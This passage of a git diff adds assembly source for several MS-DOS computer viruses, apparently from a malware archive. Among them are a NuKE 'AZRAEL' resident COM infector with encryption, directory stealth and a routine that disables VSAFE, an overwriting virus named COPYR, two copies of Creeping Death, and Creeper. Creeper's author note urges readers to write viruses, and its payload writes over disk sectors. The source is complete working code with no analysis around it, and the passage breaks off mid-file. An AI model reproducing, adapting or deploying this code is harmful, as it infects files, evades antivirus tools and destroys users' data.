; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +add word ptr [di],04620h +xor word ptr [di],06e4ch +add word ptr [di],06023h +add byte ptr [di],04ah +xor byte ptr [di],068h +sub byte ptr [di],088h +xor byte ptr [di],0a8h +dec byte ptr [di] +not word ptr [di] +sub byte ptr [di],03h +sub byte ptr [di],097h +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;------------------------ +action: ;Nothing Action! +NOP ;only replicate +ret ;Return to call +;------------------------ + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 020H ;day for the action +action_mes Db 0dH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.copyr.asm b/MSDOS/Virus.MSDOS.Unknown.copyr.asm new file mode 100644 index 00000000..55e4f8f5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.copyr.asm @@ -0,0 +1,59 @@ + +PAGE 59,132 + +; +; +; COPYR +; +; Created: 1-Jan-80 +; Version: +; Passes: 5 Analysis Options on: AFOP +; +; +; + +data_1e equ 9Eh ; (996E:009E=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +COPYR proc far + +start: + mov ah,4Eh ; 'N' + mov cl,20h ; ' ' + mov dx,offset data_3 ; (996E:0128=2Ah) + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx +loc_1: + mov dx,data_1e ; (996E:009E=0) + mov ax,3D01h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov dx,offset ds:[100h] ; (996E:0100=0B4h) + mov cl,2Eh ; '.' + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_1 ; Jump if carry=0 + int 20h ; Program Terminate +data_3 db 2Ah + db 2Eh, 43h, 4Fh, 4Dh, 00h + +COPYR endp + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.creepdea.asm b/MSDOS/Virus.MSDOS.Unknown.creepdea.asm new file mode 100644 index 00000000..ec08d727 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.creepdea.asm @@ -0,0 +1,558 @@ +; Creeping Death V 1.0 +; +; (C) Copyright 1991 by VirusSoft Corp. + +i13org = 5f8h +i21org = 5fch + +dir_2 segment byte public + assume cs:dir_2, ds:dir_2 + + org 100h + +start: + mov sp,600h ; Set up the stack pointer + inc word ptr counter ; Generation counter + xor cx,cx + mov ds,cx ; DS points to interrupt table + lds ax, ds:[0c1h] ; Find interrupt 30h + add ax,21h ; Change it to Int 21h + push ds ; Save it on stack for use by + push ax ; subroutine "jump" + mov ah,30h ; Get DOS version + call jump + cmp al,4 ; DOS 4.X+ : SI = 0 + sbb si,si ; DOS 2/3 : SI = -1 + mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to + ; "never accessed" + mov bx,60h ; Adjust memory in ES to + mov ah,4ah ; BX paragraphs. + call jump + + mov ah,52h ; Get DOS List of Lists + call jump ; to ES:BX + push es:[bx-2] ; Save Segment of first MCB + lds bx,es:[bx] ; DS:BX -> 1st DPB + ; (Drive parameter block) +search: mov ax,[bx+si+15h] ; Get segment of device driver + cmp ax,70h ; Is it CONFIG? (I think) + jne next ; If not, try again + xchg ax,cx ; Move driver segment to CX + mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt + mov di,[bx+si+13h] ; Save offset of device driver + ; Original device driver + ; address in CX:DI + mov [bx+si+13h],offset header ; Replace with our own + mov [bx+si+15h],cs ; (header) +next: lds bx,[bx+si+19h] ; Get next device block + cmp bx,-1 ; Is it the last one? + jne search ; If not, search it + jcxz install + + pop ds ; Restore segment of first + mov ax,ds ; MCB + add ax,ds:[3] ; Go to next MCB + inc ax ; AX = segment next MCB + mov dx,cs ; DX = MCB owning current + dec dx ; program + cmp ax,dx ; Are these the same? + jne no_boot ; If not, we are not currently + ; in the middle of a reboot + add word ptr ds:[3],61h ; Increase length owned by + ; MCB by 1552 bytes +no_boot: mov ds,dx ; DS = MCB owning current + ; program + mov word ptr ds:[1],8 ; Set owner = DOS + + mov ds,cx ; DS = segment of original + ; device driver + les ax,[di+6] ; ES = offset int handler + ; AX = offset strategy entry + mov word ptr cs:str_block,ax ; Save entry point + mov word ptr cs:int_block,es ; And int block for use in + ; function _in + cld ; Scan for the write + mov si,1 ; function in the +scan: dec si ; original device driver + lodsw + cmp ax,1effh + jne scan + mov ax,2cah ; Wicked un-yar place o' + cmp [si+4],ax ; doom. + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 ; Save address of patch + stosw ; area so it can be changed + xchg ax,si ; later. + mov di,offset i13org ; This is in the stack, but + cli ; it is used by "i13pr" + movsw + movsw + + mov dx,0c000h ; Scan for hard disk ROM + ; Start search @ segment C000h +fdsk1: mov ds,dx ; Load up the segment + xor si,si ; atart at offset 0000h + lodsw ; Scan for the signature + cmp ax,0aa55h ; Is it the signature? + jne fdsk4 ; If not, change segment + cbw ; clear AH + lodsb ; load a byte to AL + mov cl,9 + sal ax,cl ; Shift left, 0 filled +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp word ptr [si+2],4ch + jne fdsk3 + push dx ; Save the segment + push [si+4] ; and offset on stack + jmp short death ; for use by i13pr + +install: int 20h +file: db "c:",255,0 +fdsk3: inc si ; Increment search offset + cmp si,ax ; If we are not too high, + jb fdsk2 ; try again +fdsk4: inc dx ; Increment search segment + cmp dh,0f0h ; If we are not in high + jb fdsk1 ; memory, try again + + sub sp,4 ; effectively push dummy vars. +death: push cs ; on stack for use by i13pr + pop ds + mov bx,ds:[2ch] ; Get environment from PSP + mov es,bx + mov ah,49h ; Release it (to save memory) + call jump + xor ax,ax + test bx,bx ; Is BX = 0? + jz boot ; If so, we are booting now + mov di,1 ; and not running a file +seek: dec di ; Search for end of + scasw ; the environment block + jne seek + lea si,[di+2] ; SI points to filename + jmp short exec ; (in DOS 3.X+) + ; Execute that file +boot: mov es,ds:[16h] ; get PSP of parent + mov bx,es:[16h] ; get PSP of parent + dec bx ; go to its MCB + xor si,si +exec: push bx + mov bx,offset param ; Set up parameter block + ; for EXEC function + mov [bx+4],cs ; segment to command line + mov [bx+8],cs ; segment to 1st FCB + mov [bx+12],cs ; segment to 2nd FCB + pop ds + push cs + pop es + + mov di,offset f_name + push di ; Save filename offset + mov cx,40 ; Copy the filename to + rep movsw ; the buffer + push cs + pop ds + + mov ah,3dh ; Handle open file + mov dx,offset file ; "c:",0 + call jump + pop dx ; DS:DX -> filename + + mov ax,4b00h ; Load and Execute + call jump ; ES:BX = param block + mov ah,4dh ; Get errorlevel + call jump + mov ah,4ch ; Terminate + +jump: pushf ; Simulate an interrupt 21h + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 ; Write AL sectors from ES:BX + jmp dword ptr cs:[i13org] ; to track CH, sector CL, + ; head DH, drive DL + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es ; Move segment of parameter + pop ds ; block to DS + mov al,[bx+2] ; [bx+2] holds command code + + cmp al,4 ; Input (read) + je input + cmp al,8 ; Output (write) + je output + cmp al,9 ; Output (write) with verify + je output + + call in_ ; Call original device + cmp al,2 ; Request build BPB + jne ppp ; If none of the above, exit + lds si,[bx+12h] ; DS:SI point to BPB table + mov di,offset bpb_buf ; Replace old pointer with + mov es:[bx+12h],di ; a pointer to our own + mov es:[bx+14h],cs ; BPB table + push es ; Save segment of parameters + push cs + pop es + mov cx,16 ; Copy the old BPB table to + rep movsw ; our own + pop es ; Restore parameter segment + push cs + pop ds + mov al,[di+2-32] ; AL = sectors per allocation + cmp al,2 ; unit. If less than + adc al,0 ; 2, increment + cbw ; Extend sign to AH (clear AH) + cmp word ptr [di+8-32],0 ; Is total number sectors = 0? + je m32 ; If so, big partition (>32MB) + sub [di+8-32],ax ; Decrease space of disk by + ; one allocation unit(cluster) + jmp short ppp ; Exit +m32: sub [di+15h-32],ax ; Handle large partitions + sbb word ptr [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf ; We are outta here! + +output: mov cx,0ff09h + call check ; is it a new disk? + jz inf_sec ; If not, go away + call in_ ; Call original device handler + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 ; Restore the stack + jmp short ppp ; Leave device driver + +input: call check ; Is it a new disk? + jz read ; If not, leave +inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ + cld + lea si,[bx+0eh] ; Load from buffer address + mov cx,8 ; Save device driver request +save: lodsw ; on the stack + push ax + loop save + mov word ptr [bx+14h],1 ; Starting sector number = 1 + ; (Read 1st FAT) + call driver ; Read one sector + jnz read_ ; If error, exit + mov byte ptr [bx+2],2 ; Otherwise build BPB + call in_ ; Have original driver do the + ; work + lds si,[bx+12h] ; DS:SI points to BPB table + mov ax,[si+6] ; Number root directory entries + add ax,15 ; Round up + mov cl,4 + shr ax,cl ; Divide by 16 to find sectors + ; of root directory + mov di,[si+0bh] ; DI = sectors/FAT + add di,di ; Double for 2 FATs + stc ; Add one for boot record + adc di,ax ; Add sector size of root dir + push di ; to find starting sector of + ; data (and read) + cwd ; Clear DX + mov ax,[si+8] ; AX = total sectors + test ax,ax ; If it is zero, then we have + jnz more ; an extended partition(>32MB) + mov ax,[si+15h] ; Load DX:AX with total number + mov dx,[si+17h] ; of sectors +more: xor cx,cx + sub ax,di ; Calculate FAT entry for last + ; sector of disk + sbb dx,cx + mov cl,[si+2] ; CL = sectors/cluster + div cx ; AX = cluster # + cmp cl,2 ; If there is more than 1 + sbb ax,-1 ; cluster/sector, add one + push ax ; Save cluster number + call convert ; AX = sector number to read + ; DX = offset in sector AX + ; of FAT entry + ; DI = mask for EOF marker + mov byte ptr es:[bx+2],4 ; INPUT (read) + mov es:[bx+14h],ax ; Starting sector = AX + call driver ; One sector only +again: lds si,es:[bx+0eh] ; DS:SI = buffer address + add si,dx ; Go to FAT entry + sub dh,cl ; Calculate a new encryption + adc dx,ax ; value + mov word ptr cs:gad+1,dx ; Change the encryption value + cmp cl,1 ; If there is 0 cluster/sector + je small_ ; then jump to "small_" + mov ax,[si] ; Load AX with offset of FAT + ; entry + and ax,di ; Mask it with value from + ; "convert" then test to see + ; if the sector is fine + cmp ax,0fff7h ; 16 bit reserved/bad + je bad + cmp ax,0ff7h ; 12 bit reserved/bad + je bad + cmp ax,0ff70h ; 12 bit reserved/bad + jne ok +bad: pop ax ; Tried to replicate on a bad + dec ax ; cluster. Try again on a + push ax ; lower one. + call convert ; Find where it is in the FAT + jmp short again ; and try once more +small_: not di ; Reverse mask bits + and [si],di ; Clear other bits + pop ax ; AX = cluster number + push ax + inc ax ; Need to do 2 consecutive + push ax ; bytes + mov dx,0fh + test di,dx + jz here + inc dx ; Multiply by 16 + mul dx +here: or [si],ax ; Set cluster to next + pop ax ; Restore cluster of write + call convert ; Calculate buffer offset + mov si,es:[bx+0eh] ; Go to FAT entry (in buffer) + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di ; DI = mask from "convert" + dec dx + and dx,di ; Yerg! + not di + and [si],di + or [si],dx ; Set [si] to DI + + cmp ax,dx ; Did we change the FAT? + pop ax ; i.e. Are we already on this + pop di ; disk? + mov word ptr cs:pointer+1,ax ; Our own starting cluster + je _read_ ; If we didn't infect, then + ; leave the routine. Oh + ; welp-o. + mov dx,[si] + push ds + push si + call write ; Update the FAT + pop si + pop ds + jnz _read_ ; Quit if there's an error + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx ; Multiply by sectors/cluster + ; to find the sector of the + ; write + add ax,di + adc dx,0 + push es + pop ds + mov word ptr [bx+12h],2 ; Byte/sector count + mov [bx+14h],ax ; Starting sector # + test dx,dx + jz less + mov word ptr [bx+14h],-1 ; Flag extended partition + mov [bx+1ah],ax ; Handle the sector of the + mov [bx+1ch],dx ; extended partition +less: mov [bx+10h],cs ; Transfer address segment + mov [bx+0eh],100h ; and the offset (duh) + call write ; Zopy ourselves! + ; (We want to travel) +_read_: std + lea di,[bx+1ch] ; Restore device driver header + mov cx,8 ; from the stack +load: pop ax + stosw + loop load +_read: call in_ ; Call original device handler + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] ; Bytes/Sector + lds si,es:[bx+0eh] ; DS:SI = pointer to buffer + sal di,cl ; Multiply by 512 + ; DI = byte count + xor cl,cl + add di,si ; Go to address in the buffer + xor dl,dl ; Flag for an infection in + ; function find + push ds + push si + call find ; Infect the directory + jcxz no_inf + call write ; Write it back to the disk + and es:[bx+4],byte ptr 07fh ; Clear error bit in status + ; word +no_inf: pop si + pop ds + inc dx ; Flag for a decryption in + ; function find + call find ; Return right information to + ; calling program + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] ; Check filename extension + cmp ax,"XE" ; in directory structure + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on +found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word + jnz go_on ; to see if it is too big + test [si+1dh],03ff8h ; <2048B ; Check file size low word + jz go_on ; to see if it is too small + test [si+0bh],byte ptr 1ch ; Check attribute for subdir, + jnz go_on ; volume label or system file + test dl,dl ; If none of these, check DX + jnz rest ; If not 0, decrypt +pointer: mov ax,1234h ; mov ax, XX modified elsewhere + cmp ax,[si+1ah] ; Check for same starting + ; cluster number as us + je go_on ; If it is, then try another + xchg ax,[si+1ah] ; Otherwise make it point to + ; us. +gad: xor ax,1234h ; Encrypt their starting + ; cluster + mov [si+14h],ax ; And put it in area reserved + ; by DOS for no purpose + loop go_on ; Try another file +rest: xor ax,ax ; Disinfect the file + xchg ax,[si+14h] ; Get starting cluster + xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster + mov [si+1ah],ax ; and put it back +go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1 + dw offset gad+1 ; Change encryption and + add si,32 ; go to next file + cmp di,si ; If it is not past the end of + jne find ; the buffer, then try again + ret ; Otherwise quit + +check: mov ah,[bx+1] ; ah = unit code (block device + ; only) +drive: cmp ah,-1 ; cmp ah, XX can change. + ; Compare with the last call + ; -1 is just a dummy + ; impossible value that will + ; force the change to be true + mov byte ptr cs:[drive+2],ah ; Save this call's drive + jne changed ; If not the same as last call + ; media has changed + push [bx+0eh] ; If it is the same physical + ; drive, see if floppy has + ; been changed + mov byte ptr [bx+2],1 ; Tell original driver to do a + call in_ ; media check (block only) + cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if + pop [bx+0eh] ; media has not been changed + mov [bx+2],al ; Restore command code +changed: ret ; CF,ZF set if media has not + ; been changed, not set if + ; has been changed or we don't + ; know +write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to + jae in_ ; original device handler + ; and return to caller + mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT + mov si,70h + mov ds,si ; DS = our segment +modify: mov si,1234h ; Address is changed elsewhere + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in_ ; Call original device handler + pop [si+2] + pop [si] + ret + +driver: mov word ptr es:[bx+12h],1 ; One sector +in_: ; in_ first calls the strategy + ; of the original device + ; driver and then calls the + ; interrupt handler + db 09ah ; CALL FAR PTR +str_block: + dw ?,70h ; address + db 09ah ; CALL FAR PTR +int_block: + dw ?,70h ; address + test es:[bx+4],byte ptr 80h ; Was there an error? + ret + +convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT + jae fat_16 ; 0FF0h = reserved cluster + mov si,3 ; 12 bit FAT + xor word ptr cs:[si+gad-1],si ; Change the encryption value + mul si ; Multiply by 3 and + shr ax,1 ; divide by 2 + mov di,0fffh ; Mark it EOF (low 12 bits) + jnc cont ; if it is even, continue + mov di,0fff0h ; otherwise, mark it EOF (high + jmp short cont ; 12 bits) and then continue +fat_16: mov si,2 ; 16 bit FAT + mul si ; Double cluster # + mov di,0ffffh ; Mark it as end of file +cont: mov si,512 + div si ; AX = sector number + ; (relative to start of FAT) + ; DX = offset in sector AX +header: inc ax ; Increment AX to account for + ret ; boot record + +counter: dw 0 + + dw 842h ; Attribute + ; Block device + ; DOS 3 OPEN/CLOSE removable + ; media calls supported + ; Generic IOCTL call supported + ; Supports 32 bit sectors + dw offset main ; Strategy routine + dw offset rts ; Interrupt routine (rtf) + db 7fh ; Number of subunits supported + ; by this driver. Wow, lookit + ; it -- it's so large and juicy + +; Parameter block format: +; 0 WORD Segment of environment +; 2 DWORD pointer to command line +; 6 DWORD pointer to 1st default FCB +;10 DWORD pointer to 2nd default FCB +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. +dir_2 ends + end start + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.creeper.asm b/MSDOS/Virus.MSDOS.Unknown.creeper.asm new file mode 100644 index 00000000..be698f6b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.creeper.asm @@ -0,0 +1,328 @@ +; +; Demoralized Youth proudly presents: Creeper v1.0, Original Source +; +; Written by: TORMENTOR +; +; Yez, here it is... It's not like 4096 or Pogue, but it's a virus! +; The reason why I release the original source is that I think I +; can't do much more on this virus... I will start from scratch +; and write a larger and more smarter EXE-virus... +; And if I release this source maybe YOU will get some god ideas and +; write your own virus (or rewrite this!)... +; And if you do, Great! Feel free to mix with it as much as you want +; but please don't change this file! +; Well, go on and write virus! The world is to safe! +; +; +; Regards / TORMENTOR +; + +code segment byte public + assume cs:code, ds:code, es:code, ss:code + + + org 100h + + +codebeg: + + + mov ax,043FFh ; Remove virus from code! + int 21h + +; Let's allocate some mem! + + mov ax,ds + sub ax,11h + mov ds,ax + cmp byte ptr ds:[0100h],5Ah + jnz skip + mov ax,ds:[0103h] + sub ax,40h + jb skip + mov ds:[0103h],ax + sub word ptr ds:[0112h],50h + mov es,ds:[0112h] + push cs + pop ds + mov cx,code_end-codebeg + mov di,100h + push di + mov si,di + rep movsb + + push es + pop ds + + mov ax,351Ch + int 21h + mov word ptr ds:[int1Cret],bx + mov word ptr ds:[int1Cret+2],es + mov al,21h + int 21h + mov word ptr ds:[real21+1],bx + mov word ptr ds:[real21+3],es + + mov ah,25h + mov dx,offset int21beg + int 21h + mov al,1Ch + mov dx,offset int1Cnew + int 21h + + push cs + push cs + pop es + pop ds + + ret + +skip: int 20h + + +int21beg: push ax + sub ax,4B00h + jz infect + pop ax + cmp ax,043FFh ; Check if Harakiri. + jne real21 + + mov ax,word ptr ds:[retdata] + mov si,ax + mov di,100h + mov cx,code_end-codebeg + rep movsb + + mov ax,100h + + pop cx + pop cx + push es + push ax + iret + +real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec. + + +retdata: db 00h, 00h + +f_time: dw 0000h + +f_date: dw 0000h + +infect: pop ax + + push ax + push bx + push cx + push di + push ds + push dx + push si + + + mov ah,43h ; Get file attr. + int 21h + mov ax,4301h + and cx,0FEh ; Strip the Read-only-flag + int 21h + + mov ax,3D02h ; Open victim. + int 21h + + xchg ax,bx + + call sub_2 + +sub_2: mov di,sp ; God what I hate that Eskimo! + mov si,ss:[di] + inc sp + inc sp + + push cs + pop ds + + mov ax,5700h ; Get file's time and date + int 21h + mov [si-(sub_2-f_time)],cx + mov [si-(sub_2-f_date)],dx ; And save them... + + mov ah,3Fh ; Read X byte from begin. + mov cx,code_end-codebeg + add si,code_end-sub_2 ; SI points to EOF + mov dx,si + int 21h + + + cmp word ptr [si],'MZ' ; Mark Zimbowski? + je close + cmp word ptr [si],'ZM' ; Zimbowski Mark? + je close +mark: cmp word ptr [si+(mark-codebeg+4)],'YD' ; infected? + je close + + call put_eof ; move file ptr to EOF + + cmp ax,(0FFFFh-(code_end-codebeg)-100h) + ja close + cmp ax,code_end-codebeg+100h + jb close + + add ax,100h + mov word ptr ds:[si-(code_end-retdata)],ax + + mov ah,40h ; Flytta beg to end. + mov cx,code_end-codebeg + mov dx,si + int 21h + + mov ax,4200h ; fptr to filbeg. + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ; Write virus to beg. + mov cx,code_end-codebeg + mov dx,si + sub dx,cx + int 21h + +close: mov ax,5701h + mov cx,[si-(code_end-f_time)] + mov dx,[si-(code_end-f_date)] + int 21h + + mov ah,3Eh + int 21h ; close file, bx=file handle + + pop si + pop dx + pop ds + pop di + pop cx + pop bx + pop ax + + + jmp real21 + +put_eof: mov ax,4202h + xor dx,dx + xor cx,cx + int 21h + ret + + +int1Cnew: + + push ax + inc byte ptr cs:[counter] + mov al,30h + cmp byte ptr cs:[counter],al + jz scan + pop ax + + +slut: jmp dword ptr cs:[int1Cret] + +scan: + push bx + push cx + push di + push ds + push dx + push es + push si + + + push cs + pop ds + + cld + xor bx,bx + mov byte ptr cs:[counter],bh + mov cx,0FA0h + + mov ax,0b800h + mov es,ax + xor di,di + +again: mov al,byte ptr cs:[text+bx] + sub al,80h + repnz scasb + jnz stick + +maybe: inc di + inc bx + cmp bx,10d + jz beep + + mov al,byte ptr cs:[text+bx] + sub al,80h + scasb + jz maybe + xor bx,bx + jmp again + +beep: + xor cx,cx + mov bx,word ptr cs:[int1Cret] + mov es,word ptr cs:[int1Cret+2] + mov ax,251Ch + int 21h + +overagain: mov dx,0180h + xor bx,bx + +reset: mov ah,00h + inc bx + cmp bl,5h + jz raise + inc cx + int 13h + +hoho: mov ax,0380h + inc cx + int 13h + jc reset + jmp hoho + +raise: xor cx,cx + xor bx,bx + inc dx + cmp dl,85h + jnz hoho + jmp overagain + +stick: + pop si + pop es + pop dx + pop ds + pop di + pop cx + pop bx + pop ax + + + jmp slut + + +counter: db 00h + +text: db 'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h + db 'T'+80h, 'O'+80h, 'R'+80h, '!'+80h + + ; This is what it scans the screen for --^ + +int1Cret: db 0EAh, 00h, 00h, 00h, 00h + +code_end: ; THE END. + +code ends +end codebeg + +; +; Greetings to: Charlie, HITMAN, Wiper, Torpedo, Tortuer, WiCO, Drive Screwer +; And ALL other virus-writers! +; diff --git a/MSDOS/Virus.MSDOS.Unknown.crepdeth.asm b/MSDOS/Virus.MSDOS.Unknown.crepdeth.asm new file mode 100644 index 00000000..602ad6d6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.crepdeth.asm @@ -0,0 +1,486 @@ +; Creeping Death V 1.0 +; +; (C) Copyright 1991 by VirusSoft Corp. + +i13org = 5f8h +i21org = 5fch + + org 100h + + mov sp,600h + inc counter + xor cx,cx + mov ds,cx + lds ax,[0c1h] + add ax,21h + push ds + push ax + mov ah,30h + call jump + cmp al,4 + sbb si,si + mov drive+2,byte ptr -1 + mov bx,60h + mov ah,4ah + call jump + + mov ah,52h + call jump + push es:[bx-2] + lds bx,es:[bx] + +search: mov ax,[bx+si+15h] + cmp ax,70h + jne next + xchg ax,cx + mov [bx+si+18h],byte ptr -1 + mov di,[bx+si+13h] + mov [bx+si+13h],offset header + mov [bx+si+15h],cs +next: lds bx,[bx+si+19h] + cmp bx,-1 + jne search + jcxz install + + pop ds + mov ax,ds + add ax,[3] + inc ax + mov dx,cs + dec dx + cmp ax,dx + jne no_boot + add [3],61h 